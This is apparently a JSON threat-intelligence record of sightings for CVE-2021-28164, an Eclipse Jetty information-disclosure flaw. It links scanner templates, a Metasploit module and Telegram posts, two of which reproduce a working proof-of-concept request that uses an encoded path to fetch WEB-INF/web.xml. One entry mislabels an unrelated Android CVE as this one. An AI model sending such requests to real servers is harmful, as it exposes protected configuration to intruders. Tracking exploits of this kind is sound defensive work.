{"vulnerability": "CVE-2021-28164", "sightings": [{"uuid": "088c6cc2-6cd2-408c-864a-a9372eb0f2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28164.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "89f2209e-5d5b-4fbf-ab79-30ed0e09fa7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "6a172128-0ebe-4742-90f1-330c86759c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:36.000000Z"}, {"uuid": "945d36af-9c08-492f-a86d-31ee845515a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/jetty_web_inf_disclosure.rb", "content": "", "creation_timestamp": "2021-11-12T18:09:42.000000Z"}, {"uuid": "88b0b8a3-f0d2-40bb-8981-0bf976047f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/491", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nURL\uff1ahttps://github.com/AlAIAL90/CVE-2021-28164", "creation_timestamp": "2021-09-02T09:51:47.000000Z"}, {"uuid": "d18aa2b2-f8bc-40f4-be45-df213f6c7a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/cibsecurity/26189", "content": "\u203c CVE-2021-34429 \u203c\n\nFor Eclipse Jetty versions 9.4.37-9.4.42, 10.0.1-10.0.5 & 11.0.1-11.0.5, URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-15T20:26:58.000000Z"}, {"uuid": "09412b41-61dc-423b-aa5a-183eaa4b8873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:12.788606Z"}, {"uuid": "9d46caf7-fa0b-42c8-8ab5-d0a9bbbbbfa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:38.630891Z"}]}